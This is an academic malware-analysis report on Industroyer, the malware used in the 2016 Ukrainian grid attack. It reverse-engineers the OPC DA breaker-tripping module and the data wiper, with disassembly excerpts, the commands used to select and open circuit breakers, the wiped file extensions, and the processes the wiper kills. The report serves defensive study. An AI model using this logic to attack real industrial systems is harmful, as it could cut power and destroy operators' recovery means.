Analysis of the First Malware to Attack a Power Grid

Aviv Brook, Dominic Lucchesi

Computer Science and Engineering, UC Santa Cruz

Abstract

Cyber-attacks against our critical infrastructure, including the power grid, can create large-scale societal and economic damages. To be prepared to detect and respond to these attacks, we need tools to analyze the tactics of attackers. The analysis of malware is a well-established field in information technology networks like banking or electronic commerce, but this field is still in its infancy when dealing with power systems. In this report, we present the first academic analysis of the first known malware that attacked an electric power grid.

1 Introduction

1.1 Background

On December 17, 2016, a fifth of Ukraine's capital Kiev experienced a blackout, with their power cut off for one hour [2, 4]. This was the result of a cyberattack against a transmission substation belonging to Ukrainian energy distribution company Ukrenergo. This incident came just over a year since the last cyberattack against Ukraine's power grid on December 23, 2015, which was the first known instance where a cyberattack had disrupted a power grid [5]. But unlike the 2015 attack – in which the hackers gained remote access to the industrial control system (ICS) and manually clicked through circuit breakers, repeatedly sending "open" commands – this attack was carried out by a malware framework that performed the same task in an automated fashion, repeatedly opening circuit breakers faster than an operator could close them [3].

Slovakian cybersecurity firm ESET has long sold one of the most popular antivirus programs in Ukraine and was therefore able to discover the malware samples believed to have been used in the attack before anyone else. ESET named the framework **Industroyer**, the first known malware specifically designed to attack electrical grids.

The only openly available analysis of this malware has been done by two security companies: ESET and Dragos. However, their reports are high-level and more importantly, they focus on the malware infection of Windows computers, but do not have enough details of the industrial component of the attack. Without understanding in detail what the malware can do to industrial control systems, our understanding of the threat and capabilities other intelligence communities have is limited. We also believe that an open discussion of the real threat posed by power system vulnerabilities will create a more informed population and improve the demands for securing our own critical infrastructures.

This report is the first look at the problem of analyzing how attackers attempted to affect a power plant by changing the configuration of circuit breakers.

1.2 How electric grids work

An electric grid can be broken down into four key components:

(1) power plants that produce electric power

(2) high voltage transmission lines that carry power from the generating stations typically across long distances

(3) electrical substations for stepping voltage up for transmission or down for distribution

(4) low voltage distribution lines that connect to customers

Transmission system operators, such as Ukrenergo, use a control system known as **supervisory control and data acquisition** (**SCADA**) to manage their distribution substations. At the core of a SCADA system is the **human-machine interfaces** (**HMI**s) – the control panel that can send commands to field connected controllers. One type of field connected controller is a **remote terminal unit** (**RTU**), a microprocessor-controlled electronic device that interfaces physical objects, such as circuit breakers, to the SCADA HMI. IEC 60870-5 is a protocol family used in parts of Europe, Asia, and the Middle East to control RTUs from the HMI. In North America, the Distributed Network Protocol 3 (DNP3) is used for the same purpose.

Transmission-level substations were Industroyer's point of infiltration. When the time came to attack, Industroyer's payload could directly communicate with and control the circuit breakers in the substation in any of the four Industrial Control Systems (ICS) protocols the malware was designed to target:

- IEC 60870-5-101 (IEC 101, for short),
- IEC 60870-5-104 (IEC 104, for short),
- IEC 61850, and
- OLE for Process Control Data Access (OPC DA).

In Ukrenergo's case, only one of these four protocols had actually been used [3]. The malware used this protocol to open every circuit breaker at Ukrenergo's northern Kiev transmission station, thereby cutting all outgoing power, and based on public reports it appears the OPC DA was the attack tool used to cut the electricity in Ukraine; therefore we focus on this payload in this report.

1.3 Procedure

Industroyer is a modular framework consisting of a main backdoor, a service launcher component, four payload components, and several additional helper modules.

We obtained samples of four service launcher executables, four payload components, a data wiper component, a port scanner, and a DoS tool.

Log files obtained from victim Ukrenergo computers strongly suggest that the OPC module was used on the day of the attack. In this paper, we therefore restrict our discussion to the OPC DA module and the wiper component.

For our dynamic analysis (analysis of the malware running on Windows), we set up a lab using an isolated virtual network separated from the host OS and from the internet. We ran the malware on Windows XP SP3 which based on the exploits the malware uses, is the targed platform.

2 OPC DA payload component

Open Platform Communications, or OPC, are a set of specifications and standards used in industrial telecommunications. Originally based on the OLE and DCOM technologies developed for Microsoft Windows, OPC was designed for interoperability between industrial control devices. Often, OPC is used in reference to OPC Data Access, or OPC DA. OPC DA allows for real-time data transfer between a data source (such as a Programmable Logic Controller) and a data sink (such as an Human Machine Interface). Communication between these components is facilitated through a client-server model. [1]

We study this payload component through two software analysis methodologies. Static analysis is the study of software by looking at the binary of the malware, and trying to infer how it works, without actually running the malware. We do not have the source code of the malware, so we have to do reverse-engineering of the machine code.

Dynamic analysis is the study of malware by running the malware in a contained platform and looking at how it interacts with the operating system and other programs in the computer.

2.1 Analysis

The OPC module's entry points calls a single main function that handles the entire logic of the executable. The main function begins by enumerating over all OPC servers in the Windows registry by looking for the OPC Server 2.0 CATID, as seen in Figure 1. A CATID is a type of globaly unique identifier (GUID) that distinguishes between types of interfaces.

```
mov     byte ptr [ebp+var_4], 11h
movups  xmm0, xmmword ptr ds:IID_CATID_OPCDAServer20_01.Data1
push    eax
mov     esi, [esi]
sub     esp, 10h
mov     eax, esp
mov     esi, [esi+4]
mov     ecx, esi
movups  xmmword ptr [eax], xmm0
call    ds:___guard_check_icall_fptr
mov     ecx, [ebp+var_58]
call    esi
xor     ecx, ecx
```

Figure 1: Main function using OPC DA 2.0 category identifier.

The module uses the COM interface `IOPCBrowseServerAddressSpace` to find locally registered OPC servers, as seen in Figure 2.

```
mov     eax, [ebx]
lea     edx, [esi+8]
push    edx
push    offset IID_IOPCBrowseServerAddressSpace
push    eax
mov     ecx, [eax]
call    dword ptr [ecx]
test    eax, eax
jns     short loc_4080A6
push    offset aFailedToObtain ; "Failed to obtain IID_IOPCBrowseServerAd"...
lea     ecx, [ebp+arg_0]
call    sub_403B40
mov     byte ptr [ebp+var_4], 3
```

Figure 2: COM interface used to find servers registered locally on the victim machine.

For each server, the module needs to create an OPC group so that it can interact with and manipulate items. The function uses the `IOPCServer::AddGroup` method to create that required group, as seen in Figure 3.

```
loc_4087E2:                             ; CODE XREF: sub_4086E0+FE↑j
                mov     eax, [ebx+1Ch]
                lea     edi, [ebx+4]
                push    edi             ; ppUnk
                push    offset IID_IOPCGroupStateMgt ; riid
                push    [ebp+pRevisedUpdateRate] ; pRevisedUpdateRate
                mov     ecx, [eax+4]
                lea     eax, [ebx+18h]
                push    eax             ; phServerGroup
                push    0               ; dwLCID
                lea     eax, [ebp+pPercentDeadband]
                mov     edx, [ecx]
                push    eax             ; pPercentDeadband
                movzx   eax, [ebp+arg_4]
                push    0               ; pTimeBias
                push    0               ; hClientGroup
                push    [ebp+dwRequestedUpdateRate] ; dwRequestedUpdateRate
                push    eax             ; bActive
                push    esi             ; szName
                push    ecx             ; This
                call    [edx+IOPCServerVtbl.AddGroup]
                test    eax, eax
                jns     short loc_40885E
                push    eax
                push    offset aErrorCodeD ; "Error code: %d\n"
                call    sub_407B60
                add     esp, 8
                lea     ecx, [ebp+lpMultiByteStr]
                push    offset aFailedToAddGro ; "Failed to Add group"
                call    sub_403B40
```

Figure 3: A group being added.

The module then uses the `IOPCItemMgt` interface to enumerate over the OPC items in each server, as seen in Figure 4.

```
                        ; CODE XREF: sub_4086E0+1B7↑j
mov     eax, [edi]
lea     edx, [ebx+10h]
push    edx
push    offset IID_IOPCItemMgt
push    eax
mov     ecx, [eax]
call    dword ptr [ecx]
test    eax, eax
jns     short loc_4088D6
push    offset aFailedToGetIid_1 ; "Failed to get IID_IOPCItemMgt"
lea     ecx, [ebp+lpMultiByteStr]
call    sub_403B40
mov     byte ptr [ebp+var_4], 0Bh
jmp     loc_408834
```

Figure 4: Interface used to enumerate over OPC items in a given server.

The module specifically looks for items containing one of the following strings: `ctlSelOn`, `ctlOperOn`, `ctlSelOff`, `ctlOperOff`, or items containing both `\Pos` and `stVal`. Figure 5 depicts the code chunk in which the module tries to find the substring `ctlSelOn` within the each OPC item name. There are nearly equivalent chunks of code for the rest of the strings as well.

```
cmp     esi, [ebp+var_2C+4]
jnb     loc_4031DA
mov     edi, [ebp+var_2C]
mov     eax, [edi+esi*4]
cmp     dword ptr [eax-0Ch], 0
jl      loc_402EC3
push    offset aCtlselon ; "ctlSelOn"
push    eax              ; unsigned __int8 *
call    __mbsstr
add     esp, 8
test    eax, eax
jz      short loc_402EC3
sub     eax, [edi+esi*4]
cmp     eax, 0FFFFFFFFh
jz      short loc_402EC3
cmp     esi, [ebp+var_2C+4]
jb      short loc_402E62
push    80070057h
call    sub_4020E0
```

Figure 5: Search for `ctlSelOn` substring in OPC item name.

Figure 6 depicts a simulation OPC server configuration we used for our dynamic analysis.

Contents of 'Group0'

Item ID	Value	Quality
Bucket Brigade.\Pos.stVal	3	Good, non-specific
Bucket Brigade.ctlOperOff	1	Good, non-specific
Bucket Brigade.ctlOperOn	1	Good, non-specific
Bucket Brigade.ctlSelOff	1	Good, non-specific
Bucket Brigade.ctlSelOn	1	Good, non-specific

Figure 6: MatrikonOPC simulation server configuration with fake items.

This is a similar configuration to what one might see for a single circuit breaker in a substation. In this example, the single circuit breaker would be referenced by the name `Bucket Brigade`. The OPC item `Bucket Brigade.\Pos.stVal` holds the current status of the circuit breaker, which can hold one of four integer values, as seen in Figure 7.

Name	Type	FC	Value/Value range	M/O	OPC Data Type
stVal	CODED ENUM	ST	intermediatestate (0) off (1) on (2) bad-state (3)	M	VT_I4

Figure 7: `stVal` possible values.

The rest of the items can be viewed as functions that execute certain commands in the physical breaker. To close a circuit breaker (thereby activating it), one would have to first select the circuit breaker by sending

a `0x01` byte to the `ctlSelOn` item then execute the task by similarly sending a `0x01` byte to the `ctlOperOn` item. To open a circuit breaker (which would be the primary objective of a malicious actor trying to cut off power), one would have to send a `0x01` byte to `ctlSelOff` and `ctlOperOff`.

2.2 Logging and manipulating items

During the enumeration of servers, the main function logs the name of each server. Assuming all of the strings are present, the function will begin by logging the name, quality, and value of `\Pos.stVal`.

The module uses the `IOPCSyncIO` interface to write `0x01` bytes to `ctlSelOn` and `ctlperOn` to close the circuit breaker the given item refers to. The module then logs the new values and uses the same interface to write `0x01` bytes to `ctlSelOff` and `ctlOperOff`, opening the circuit breakers. The module performs a final log of the resultant circuit breaker status. The logging and value writing will still work to varying degrees if some of these items are missing, however in a physical system, all of these items need to be present for the malware to work as intended.

```
mov     eax, [ebp+var_78]
mov     eax, [eax+ecx*4]
push    eax             ; ArgList
lea     eax, [ebp+var_1C]
push    offset aServernameSSta_1 ; "\n[*ServerName: %s*]\n\n [State: After "...
push    eax             ; int
call    sub_406750
mov     eax, [ebp+var_1C]
```

Figure 8: Logging the detected servers.

```
movsx   eax, [ebp+var_108]
push    eax
movzx   eax, word ptr [ebp+var_120+8]
push    eax
mov     eax, [ebp+var_54]
mov     eax, [eax+esi*4]
push    eax             ; ArgList
lea     eax, [ebp+var_1C]
push    offset aOpcitemNameSQu ; "  OPCItem name : %s\n Quality: %d value"...
push    eax             ; int
call    sub_406750
mov     eax, [ebp+var_1C]
add     esp, 14h
add     eax, 0FFFFFFF0h
```

Figure 9: One of the detected OPC items being logged.

```
loc_4034F6:                             ; CODE XREF: sub_402AD0+A9B↓j
                cmp     esi, [ebp+var_E8+4]
                jnb     short loc_40356D
                mov     eax, 2
                mov     [ebp+var_174], ax
                mov     eax, 1
                mov     [ebp+var_16C], ax
                lea     eax, [ebp+var_174]
                push    eax
                mov     eax, [ebp+var_E8]
                mov     ecx, [eax+esi*4]
                call    IOPCSyncIO_Write
                cmp     esi, edi
                jb      short loc_403539
                push    80070057h
                call    sub_4020E0
```

Figure 10: Main function passing 0x01 value to the 'write' function.

```
push    esi             ; ppErrors
mov     eax, ___security_cookie
xor     eax, ebp
push    eax             ; ppErrors
lea     eax, [ebp+var_C]
mov     large fs:0, eax
mov     eax, [ecx+10h]
mov     edx, [eax+8]
lea     eax, [ebp+ppErrors]
push    eax             ; ppErrors
push    [ebp+pItemValues] ; pItemValues
lea     eax, [ecx+4]
mov     esi, [edx]
push    eax             ; phServer
push    1               ; dwCount
push    edx             ; This
call    [esi+IOPCSyncIOVtbl.Write]
test    eax, eax
jns     short loc_407AF1
push    offset aWriteFailed ; "write failed"
lea     ecx, [ebp+pItemValues]
call    sub_403B40
mov     eax, [ebp+pItemValues]
add     eax, 0FFFFFFF0h
```

Figure 11: Write function using IOPCSyncIO to write value to item.

2.3 Discussion

The objective of the OPC module is to find devices that it is able to manipulate using known standard COM interfaces. It then tries to close and immediately open enumerated circuit breakers to cut off power. This would be an especially attractive attack vector when used in conjunction with the data wiper component, which obliterates the victim computer running the OPC server after the breakers are opened. This makes it harder for operators to restore power.

In short, we found that the malware first found the available OPC servers, then it enumerated all items in these servers, and then it looked for items that had the specific string identifying a circuit breaker. Once it found that item, it used the precise commands to select and then execute a disconnection from the power grid (the way circuit breakers are modified in the power grid requires two commands for a single action, this way prevents operators from accidentally making a single mistake and changing the status of the circuit breaker).

As far as we are aware, this is the first open discussion of the reverse engineering of the OPC module of the malware and the first detailed study of how the malware attacked and disconnected the power grid of Ukraine.

We hypothesise that in order for the attack to last hours, the attackers intended to execute the data wiper component after the OPC module. That way, once the attackers disconnect the power grid through the OPC module, the operators cannot reconnect the system because the server has been wiped out.

3 Data Wiper component

The Data Wiper component is a destructive executable that is launched after all other components, and is likely used for obfuscation and to hinder recovery efforts. The payload can be viewed as three separate

subroutines that are executed sequentially.

3.1 Entry Point

The entry point, called Crash, calls the first three subroutines in order, with subroutine 3 being called with a value of '0'. Next, it loops through all files that were unable to be overwritten upon the first attempt at doing so in subroutine 2, and calls the 'file deletion' function outlined in subroutine 2 to attempt the overwriting process again. Finally, subroutine 3 is called a second time with a value of '1', which ends all critical processes and crashes the system.

```
                public Crash
Crash           proc near               ; DATA XREF: .rdata:off_411688↓o
                push    esi
                call    sub_401280
                call    sub_401570
                xor     cl, cl
                call    sub_4014D0
                xor     esi, esi
                cmp     dword_474D40, esi
                jbe     short loc_401775
                nop     dword ptr [eax+00h]

loc_401760:                             ; CODE XREF: Crash+33↓j
                mov     ecx, dword_4132C0[esi*4] ; void *
                call    sub_401040
                inc     esi
                cmp     esi, dword_474D40
                jb      short loc_401760

loc_401775:                             ; CODE XREF: Crash+1A↑j
                mov     cl, 1
                call    sub_4014D0
                xor     eax, eax
                pop     esi
                retn
Crash           endp
```

Figure 12: The 'Crash' entry point.

3.2 Subroutine 1

The first subroutine enumerates through all of the registry keys under the "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services" tree. For each one, it attempts to write '0' to the ImagePath value. This ensures that the system becomes unbootable after it crashes, since the ImagePath values contain initialization information for critical system services.

```
0040133E        push    offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%1"...
00401343        push    eax             ; LPWSTR
00401344        call    ds:wsprintfW
0040134A        add     esp, 0Ch
0040134D        lea     eax, [ebp-0C68h]
00401353        push    eax             ; phkResult
00401354        push    0F013Fh         ; samDesired
00401359        push    0               ; ulOptions
0040135B        lea     eax, [ebp-0C60h]
00401361        push    eax             ; lpSubKey
00401362        push    80000002h       ; hKey
00401367        call    ds:RegOpenKeyExW
0040136D        test    eax, eax
0040136F        jnz     short loc_40138C
00401371        push    2               ; cbData
00401373        push    offset Data     ; lpData
00401378        push    2               ; dwType
0040137A        push    eax             ; Reserved
0040137B        push    offset ValueName ; "ImagePath"
00401380        push    dword ptr [ebp-0C68h] ; hKey
00401386        call    ds:RegSetValueExW
```

Figure 13: The first subroutine opening registry keys and writing values.

3.3 Subroutine 2

The second subroutine enters a loop where it iterates through possible drives “C:\\” to “Z:\\”. In each of these drives, this module targets files with specific extensions using filename masks, the list of which can be seen in table 1. It is important to note that while the subroutine targets common Windows binaries (such as .exe, .dll) and common archive extensions (such as .zip and .rar), it also targets files unique to industrial systems, some of which are unique to ABB. These include Substation Configuration Language files (such as .SCL, .cid, and .scd), as well as ABB PCM600 files (such as .pcmp, .pcmi, and .pcmt). For every possible drive, and every possible extension, a new thread is created to call a ‘file iteration’ function, which is initially called with an empty path at the root of the drive. If the first ‘file’ is a directory that is not “Windows”, “.”, or “..”, this iteration function is called recursively with the new path being this directory. Otherwise, this function begins iterating through this directory. For each file that is found that matches the extension wildcard, this function calls another ‘deletion function’. This deletion function attempts to write junk data obtained from a malloc() to the beginning of the file, as seen in figure 15. The number of bytes written to the beginning of the file is determined by the size of the file, with the most being 64 KB for a file that is greater than 10MB, and 4KB for a file that is less than or equal to 1MB. If this function is unable to write the data, the filename is saved in an array to be tried again later.

*.dll	*.v	*.PL	*.paf	*.XRF
*.trc	*.SCL	*.bak	*.cid	*.scd
*.pcmp	*.pcmi	*.pcmt	*.ini	*.xml
*.CIN	*.prj	*.cxm	*.elb	*.epl
*.mdf	*.ldf	*.bk	*.bkp	*.log
*.zip	*.rar	*.tar	*.7z	*.exe
SYS_BASCON.COM				

Table 1: Extensions covered by subroutine 2.

```
0040158A        mov     [ebp+psz1], offset aC ; "C:\\"
00401591        push    esi
00401592        xor     eax, eax
00401594        mov     [ebp+var_5C], offset aD ; "D:\\"
0040159B        push    edi
0040159C        mov     [ebp+var_58], offset aE ; "E:\\"
004015A3        lea     edi, [ebx+1]
004015A6        mov     [ebp+var_54], offset asc_410DE0 ; "F:\\"
004015AD        mov     [ebp+var_50], offset aG ; "G:\\"
004015B4        mov     [ebp+var_4C], offset asc_410DF0 ; "H:\\"
004015BB        mov     [ebp+var_48], offset aI ; "I:\\"
004015C2        mov     [ebp+var_44], offset aJ ; "J:\\"
004015C9        mov     [ebp+var_40], offset aK ; "K:\\"
004015D0        mov     [ebp+var_3C], offset asc_410E10 ; "L:\\"
004015D7        mov     [ebp+var_38], offset aM ; "M:\\"
004015DE        mov     [ebp+var_34], offset aN ; "N:\\"
004015E5        mov     [ebp+var_30], offset aO ; "O:\\"
004015EC        mov     [ebp+var_2C], offset aP ; "P:\\"
004015F3        mov     [ebp+var_28], offset aQ ; "Q:\\"
004015FA        mov     [ebp+var_24], offset aR ; "R:\\"
00401601        mov     [ebp+var_20], offset aS ; "S:\\"
00401608        mov     [ebp+var_1C], offset aT ; "T:\\"
0040160F        mov     [ebp+var_18], offset aU ; "U:\\"
00401616        mov     [ebp+var_14], offset aW ; "W:\\"
0040161D        mov     [ebp+var_10], offset asc_410E68 ; "X:\\"
00401624        mov     [ebp+var_C], offset aY ; "Y:\\"
0040162B        mov     [ebp+var_8], offset aZ ; "Z:\\"
```

Figure 14: Set of drives used by the second subroutine.

```
004010BB        call    ds:GetFileSize
004010C1        cmp     eax, 0A00000h
004010C6        mov     ecx, 8000h
004010CB        mov     edi, 0FFFFh
004010D0        cmovbe  edi, ecx
004010D3        cmp     eax, 500000h
004010D8        mov     ecx, 4000h
004010DD        cmovbe  edi, ecx
004010E0        cmp     eax, 300000h
004010E5        mov     ecx, 2000h
004010EA        cmovbe  edi, ecx
004010ED        cmp     eax, 100000h
004010F2        mov     ecx, 1000h
004010F7        cmovbe  edi, ecx
004010FA        push    edi             ; size_t
004010FB        call    _malloc
00401100        add     esp, 4
00401103        mov     esi, eax
00401105        lea     eax, [ebp+NumberOfBytesWritten]
00401108        push    0               ; lpOverlapped
0040110A        push    eax             ; lpNumberOfBytesWritten
0040110B        push    edi             ; nNumberOfBytesToWrite
0040110C        push    esi             ; lpBuffer
0040110D        push    ebx             ; hFile
0040110E        call    ds:WriteFile
00401114        push    esi             ; lpMem
00401115        call    j___free_base
0040111A        add     esp, 4
0040111D        push    ebx             ; hObject
0040111E        call    ds:CloseHandle
```

Figure 15: The second subroutine writing junk to the file.

3.4 Subroutine 3

This subroutine can be called with either a '0' or a '1', and begins by enumerating through all active processes in the system. For each process, it first checks to make sure that it isn't targeting itself. Next, the subroutine moves onto the termination phase. If it was called with a '0', the subroutine first checks if the process is on a list of 'critical processes', which can be seen in table 2. If so, it ignores the process and moves

onto the next one. Otherwise, it terminates the process. If the subroutine is called with a '1', it terminates all processes except its own, including critical processes, which will crash the system. In the main function, this subroutine is initially called with '0'. Once the file deletion process has finished, the subroutine is called with '1'.

```
0040148F                push    edi             ; dwProcessId
00401490                push    0               ; bInheritHandle
00401492                push    1               ; dwDesiredAccess
00401494                call    ds:OpenProcess
0040149A                mov     esi, eax
0040149C                push    1               ; uExitCode
0040149E                push    esi             ; hProcess
0040149F                call    ds:TerminateProcess
004014A5                push    esi             ; hObject
004014A6                call    ds:CloseHandle
004014AC
004014AC loc_4014AC:                            ; CODE XREF: sub_4013D0+39↑j
004014AC                push    ebx             ; hObject
004014AD                call    ds:CloseHandle
004014B3
```

Figure 16: The third subroutine terminating processes.

audiodg.exe	conhost.exe	csrss.exe
dwm.exe	explorer.exe	lsass.exe
lsm.exe	services.exe	shutdown.exe
smss.exe	spoolss.exe	spoolsv.exe
svchost.exe	taskhost.exe	wininit.exe
winlogon.exe	wuauclt.exe	

Table 2: Processes covered by subroutine 3.

3.5 Discussion

The objective of the data wiper component is to wipe critical files, and to crash the computer while preventing it from being able to reboot. As stated previously, the data wiper becomes an incredibly dangerous attack vector when used in conjunction with the OPC payload, as it could take plant operators several hours to regain access to the devices through the machine.

We hypothesise that this wiper component, while dangerous for most Windows machines, seems to be specifically targeted at the Ukraine plant. We can see that it targets a few files that are specific to ABB, which may not be found in other industrial facilities. This seems to follow a similar trend found in other components of the malware, where ABB components are referenced directly.

4 Motivation

This attack is believed to have been carried out by a Russian cybermilitary unit known as Sandworm Team [3]. This is the same group believed to have caused the 2015 attack as well, which was reportedly carried out by computers with Russian IP addresses.

Though Industroyer was designed to send commands in four different electrical transmission systems protocols, the code is highly modular. That is, the protocols could just as easily be swapped out for others, including those used in the United States. With properly developed payload components, Industroyer can be

launched in any country in any substation and still cause damage. Given the mechanics of this framework, it is very likely that Sandworm was using Ukraine to test out techniques that it might someday repeat in western Europe or the United States. Our work will hopefully help the United States industries and government be more prepared and secure against similar types of attacks.

References

[1] OPC Foundation. *What is OPC?* June 2017. URL: https://opcfoundation.org/about/what-is-opc/.

[2] Andy Greenberg. *'Crash Override': The Malware That Took Down a Power Grid*. June 2017. URL: https://www.wired.com/story/crash-override-malware/.

[3] Andy Greenberg. *Sandworm: A New Era of Cyberwar and the Hunt for the Kremlin's Most Dangerous Hackers*. Nov. 2019.

[4] Pavel Polityuk, Oleg Vukmanovic and Stephen Jewkes. *Ukraine's power outage was a cyber attack: Ukrenergo*. Jan. 2017. URL: https://www.reuters.com/article/us-ukraine-cyber-attack-energy-idUSKBN1521BA.

[5] Kim Zetter. *Inside the Cunning, Unprecedented Hack of Ukraine's Power Grid*. Mar. 2016. URL: https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/.